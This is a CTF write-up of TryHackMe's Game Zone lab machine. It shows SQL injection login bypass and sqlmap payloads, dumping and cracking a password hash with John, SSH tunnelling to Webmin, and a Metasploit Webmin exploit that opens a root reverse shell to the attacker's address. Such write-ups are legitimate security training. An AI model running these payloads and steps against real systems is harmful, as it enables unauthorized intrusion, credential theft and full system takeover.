Game Zone is a CTF from TryHackMe, with a focus on using SQLMap to obtain reverse shell, and then privilege escalation.
[Task 1] Deploy the vulnerable machine
This room will cover SQLi (exploiting this vulnerability manually and via SQLMap), cracking users hashed passwords, using SSH tunnels to reveal a hidden service and using a Metasploit payload to gain root privileges.
Deploy the machine and access its web server
Deploy the VM, then navigate to the host on port 80.
What is the name of the large cartoon avatar holding a sniper on the forum
The cartoon character on the front page is Agent 47. If you’re not familiar with the Hitman franchise, then you can always reverse image search the image through services like Google Images or TinyPic.
[Task 2] Obtain access via SQLi
SQLi explanation
SELECT * FROM users WHERE username = :username AND password := passwordIn our GameZone machine, when you attempt to login, it will take your inputted values from your username and password, then insert them directly into the query above. If the query finds data, you’ll be allowed to login otherwise it will display an error message.
Here is a potential place of vulnerability, as you can input your username as another SQL query. This will take the query write, place and execute it.
Hit the completed button after understanding.
Executing basic SQLi
If we have our username as admin and our password as:
' or 1=1 -- -it will insert this into the query and authenticate our session.The SQL query that now gets executed on the webserver is as follows:
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 -- -The extra SQL we inputted as our password has changed the above query to break the initial query and proceed (with the admin user)
if 1==1, then comment the rest of the query to stop it breaking.
Hit the completed button after understanding.
Logging into portal
Use
' or 1=1 -- -as your username and leave the password blank.When you’ve logged in, what page do you get redirected to?
After running ' or 1=1 -- -, you’re redirected to portal.php.
[Task 3] Using SQLMap
We’re going to use SQLMap to dump the entire database for GameZone.
Using the page we logged into earlier, we’re going point SQLMap to the game review search feature.
First we need to intercept a request made to the search feature using BurpSuite.
Save this request into a text file. We can then pass this into SQLMap to use our authenticated user session.
-ruses the intercepted request you saved earlier--dbmstells SQLMap what type of database management system it is--dumpattempts to outputs the entire databaseSQLMap will now try different methods and identify the one thats vulnerable. Eventually, it will output the database.
In the users table, what is the hashed password?
TryHackMe goes the route of pulling a request from BurpSuite, but for the sake of efficiency, we can literally just pull the request from our Browser, and save the extra steps.
I’m using Firefox; hit F12 on page, went to the network tab, and copied the the POST request’s headers and params. To capture a request input and submitted some text into the search function on portal.php.
POST /portal.php HTTP/1.1
Host: 10.10.247.64
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.247.64/portal.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Connection: keep-alive
Cookie: PHPSESSID=osl80p6298d7a7rn6463jrnqm1
Upgrade-Insecure-Requests: 1
searchitem=testSaved the above to a text file called request.txt and ran it against sqlmap.
kali@kali:~/Desktop/TryHackMe/game-zone$ sqlmap -r request.txt --dbms=mysql --dump
___
__H__
___ ___[.]_____ ___ ___ {1.4.9#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:41:41 /2020-09-16/
[14:41:41] [INFO] parsing HTTP request from 'request.txt'
[14:41:41] [INFO] testing connection to the target URL
[14:41:42] [INFO] testing if the target URL content is stable
[14:41:42] [INFO] target URL content is stable
[14:41:42] [INFO] testing if POST parameter 'searchitem' is dynamic
[14:41:42] [WARNING] POST parameter 'searchitem' does not appear to be dynamic
[14:41:42] [INFO] heuristic (basic) test shows that POST parameter 'searchitem' might be injectable (possible DBMS: 'MySQL')
[14:41:42] [INFO] heuristic (XSS) test shows that POST parameter 'searchitem' might be vulnerable to cross-site scripting (XSS) attacks
[14:41:42] [INFO] testing for SQL injection on POST parameter 'searchitem'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[14:44:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:44:15] [WARNING] reflective value(s) found and filtering out
[14:44:15] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:44:15] [INFO] testing 'Generic inline queries'
[14:44:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[14:44:17] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[14:44:17] [INFO] POST parameter 'searchitem' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="is")
[14:44:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[14:44:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[14:44:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[14:44:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[14:44:17] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[14:44:17] [INFO] POST parameter 'searchitem' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
[14:44:17] [INFO] testing 'MySQL inline queries'
[14:44:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[14:44:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[14:44:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[14:44:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[14:44:17] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[14:44:17] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[14:44:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:44:27] [INFO] POST parameter 'searchitem' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[14:44:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:44:27] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:44:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:44:28] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[14:44:28] [INFO] target URL appears to have 3 columns in query
[14:44:28] [INFO] POST parameter 'searchitem' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[14:44:28] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'searchitem' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: searchitem (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: searchitem=-3246' OR 1388=1388#
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: searchitem=test' AND GTID_SUBSET(CONCAT(0x7178707071,(SELECT (ELT(2016=2016,1))),0x71626a6271),2016)-- gKUk
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchitem=test' AND (SELECT 4241 FROM (SELECT(SLEEP(5)))OSoU)-- CBMC
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: searchitem=test' UNION ALL SELECT NULL,NULL,CONCAT(0x7178707071,0x5956417846774e72737148416d725965796468796376666c6f7876544d706b556f73546648454277,0x71626a6271)#
---
[14:44:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[14:44:29] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:44:29] [INFO] fetching current database
[14:44:29] [INFO] fetching tables for database: 'db'
[14:44:29] [INFO] fetching columns for table 'post' in database 'db'
[14:44:29] [INFO] fetching entries for table 'post' in database 'db'
Database: db
Table: post
[5 entries]
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | name | description |
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | Mortal Kombat 11 | Its a rare fighting game that hits just about every note as strongly as Mortal Kombat 11 does. Everything from its methodical and deep combat. |
| 2 | Marvel Ultimate Alliance 3 | Switch owners will find plenty of content to chew through, particularly with friends, and while it may be the gaming equivalent to a Hulk Smash, that isnt to say that it isnt a rollicking good time. |
| 3 | SWBF2 2005 | Best game ever |
| 4 | Hitman 2 | Hitman 2 doesnt add much of note to the structure of its predecessor and thus feels more like Hitman 1.5 than a full-blown sequel. But thats not a bad thing. |
| 5 | Call of Duty: Modern Warfare 2 | When you look at the total package, Call of Duty: Modern Warfare 2 is hands-down one of the best first-person shooters out there, and a truly amazing offering across any system. |
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
[14:44:29] [INFO] table 'db.post' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.247.64/dump/db/post.csv'
[14:44:29] [INFO] fetching columns for table 'users' in database 'db'
[14:44:29] [INFO] fetching entries for table 'users' in database 'db'
[14:44:29] [INFO] recognized possible password hashes in column 'pwd'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[14:44:32] [INFO] using hash method 'sha256_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
[14:44:40] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[14:44:44] [INFO] starting dictionary-based cracking (sha256_generic_passwd)
[14:44:44] [INFO] starting 4 processes
[14:45:04] [WARNING] no clear password(s) found
Database: db
Table: users
[1 entry]
+------------------------------------------------------------------+----------+
| pwd | username |
+------------------------------------------------------------------+----------+
| ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14 | agent47 |
+------------------------------------------------------------------+----------+
[14:45:04] [INFO] table 'db.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.247.64/dump/db/users.csv'
[14:45:04] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.247.64'
[*] ending @ 14:45:04 /2020-09-16/The above sqlmap scan reveals a few answers the next question. Firstly, we find the hashed password from the database dump, ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14.
Identifying dumped, hashed password
This is also visible in the sqlmap dump; agent47.
Identify other tables
enumerate table(s) entries
[14:44:29] [INFO] fetching current database
[14:44:29] [INFO] fetching tables for database: 'db'
[14:44:29] [INFO] fetching columns for table 'post' in database 'db'
[14:44:29] [INFO] fetching entries for table 'post' in database 'db'
Database: db
Table: post
[5 entries]The other table is post. Which contains a number of other games.
[Task 4] Cracking a password with JohnTheRipper
Crack hashed password with John
To crack the hashed password ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14, I ran the following:
kali@kali:~/Desktop/TryHackMe/game-zone$ echo 'ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14' >> hash.txt; sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
videogamer124 (?)
1g 0:00:00:00 DONE (2020-09-16 15:00) 1.666g/s 4915Kp/s 4915Kc/s 4915KC/s vimivi..vainlove
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completedInitially, echoing the hashed password into a .txt file for john to read and crack.
De-hashed password
The cracked password is revealed to be videogamer124.
SSH’ing into the machine
What is the user flag?
kali@kali:~/Desktop/TryHackMe/game-zone$ ssh agent47@10.10.247.64
The authenticity of host '10.10.247.64 (10.10.247.64)' can't be established.
ECDSA key fingerprint is SHA256:mpNHvzp9GPoOcwmWV/TMXiGwcqLIsVXDp5DvW26MFi8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.247.64' (ECDSA) to the list of known hosts.
agent47@10.10.247.64's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
109 packages can be updated.
68 updates are security updates.
Last login: Fri Aug 16 17:52:04 2019 from 192.168.1.147
agent47@gamezone:~$ ls
user.txt
agent47@gamezone:~$ cat user.txt
649ac17b1480ac13ef1e4fa579dac95cAfter sshing into the box, I fired ls and found the user.txt file. Then read from file with cat user.txt for the user flag; 649ac17b1480ac13ef1e4fa579dac95c.
[Task 5] Exposing services with reverse SSH tunnels
Running ss to view sockets statistics
How many TCP sockets are running?
If we run
ss -tulpnit will tell us what socket connections are running
ss arguments
-tDisplay TCP sockets-uDisplay UDP sockets-lDisplays only listening sockets-pShows the process using the socket-nDoesn’t resolve service names
Running ss
Running the above command on the ssh‘d box, we get:
agent47@gamezone:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:10000 *:*
udp UNCONN 0 0 *:68 *:*
tcp LISTEN 0 80 127.0.0.1:3306 *:*
tcp LISTEN 0 128 *:10000 *:*
tcp LISTEN 0 128 *:22 *:*
tcp LISTEN 0 128 :::80 :::*
tcp LISTEN 0 128 :::22 :::* From here we can count the number of tcp sockets; 5.
We could also run the following to count the lines where tcp exists:
agent47@gamezone:~$ ss -tulpn | grep tcp | cat -n
1 tcp LISTEN 0 80 127.0.0.1:3306 *:*
2 tcp LISTEN 0 128 *:10000 *:*
3 tcp LISTEN 0 128 *:22 *:*
4 tcp LISTEN 0 128 :::80 :::*
5 tcp LISTEN 0 128 :::22 :::*SSH tunnelling on port 10000
From our local machine, run
ssh -L 10000:localhost:10000 <username>@<ip>Once complete, in your browser type “localhost:10000” and you can acess the newly-exposed webserver.
What is the name of the exposed CMS?
kali@kali:~$ ssh -L 10000:localhost:10000 agent47@10.10.247.64
agent47@10.10.247.64's password:
Permission denied, please try again.
agent47@10.10.247.64's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
109 packages can be updated.
68 updates are security updates.
Last login: Wed Sep 16 14:03:25 2020 from 10.11.8.219
agent47@gamezone:~$After creating the SSH tunnel, we should be able to navigate to localhost:10000 on our local machine.
And as expected, we’re returned a login page; with the CMS name Webmin.
Enumerating CMS version
There may have been some enumeration tactic that couldn’t been taken here, but the trusty failure of using the same username and password across every account renders this flag fairly simple.
Upon logging into Webmin with credentials agent47:videogamer124, we gain access to the admin panel which displays server information as seen below:
**System hostname**: gamezone (127.0.1.1)
**Operating system**: Ubuntu Linux 16.04.6
**Webmin version**: 1.580
**Time on system **: Wed Sep 16 14:19:46 2020
**Kernel and CPU **: Linux 4.4.0-159-generic on x86_64
**Processor information**: Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz, 1 cores
**System uptime **: 1 hours, 13 minutes
**Running processes**: 127
**CPU load averages**: 0.00 (1 min) 0.00 (5 mins) 0.00 (15 mins)
**CPU usage**: 0% user, 0% kernel, 0% IO, 100% idle
**Real memory**: 1.95 GB total, 307.53 MB used
**Virtual memory**: 975 MB total, 0 bytes used
**Local disk space**: 8.78 GB total, 2.82 GB used
**Package updates**: All installed packages are up to dateThe CMS version is 1.580.
[Task 6] Privilege Escalation with Metasploit
Obtaining root flag
After searching for a metasploit exploit, I eventually found one that the application was vulenarable to. With a little trial and error…
msf5 exploit(linux/http/webmin_backdoor) > search webmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
3 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
4 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
5 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE
Interact with a module by name or index, for example use 5 or use exploit/unix/webapp/webmin_upload_exec
msf5 exploit(linux/http/webmin_backdoor) > use 4
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > options
Module options (exploit/unix/webapp/webmin_show_cgi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD videogamer124 yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS localhost yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SSL false yes Use SSL
USERNAME agent47 yes Webmin Username
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Webmin 1.580
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > run
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Attempting to login...
[+] Authentication successfully
[+] Authentication successfully
[*] Attempting to execute the payload...
[+] Payload executed successfully
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > set lhost tun0
lhost => 10.11.8.219
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > run
[*] Started reverse TCP handler on 10.11.8.219:4444
[*] Attempting to login...
[+] Authentication successfully
[+] Authentication successfully
[*] Attempting to execute the payload...
[+] Payload executed successfully
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > options
Module options (exploit/unix/webapp/webmin_show_cgi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD videogamer124 yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SSL false yes Use SSL
USERNAME agent47 yes Webmin Username
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.11.8.219 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Webmin 1.580
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > run
[*] Started reverse TCP handler on 10.11.8.219:4444
[*] Attempting to login...
[+] Authentication successfully
[+] Authentication successfully
[*] Attempting to execute the payload...
[+] Payload executed successfully
[*] Command shell session 1 opened (10.11.8.219:4444 -> 10.10.247.64:40778) at 2020-09-16 15:56:07 -0400
whoami
root
cd /root/
ls
root.txt
cat root.txtAnd there we have it.
Some learning points from this box
- You don’t have to use
burp. Modern browsers are pretty powerful. - SQLMap can also crack passwords
- Don’t be afraid to trial and error through multiple payloads if an
msfconsoleexploit’scheckfunction say’s a target is vulnerable, but at first doesn’t work. - SSH tunnelling allows you to map ports inaccessible to the local machine through the
-L PORT:localhost:PORTflag.
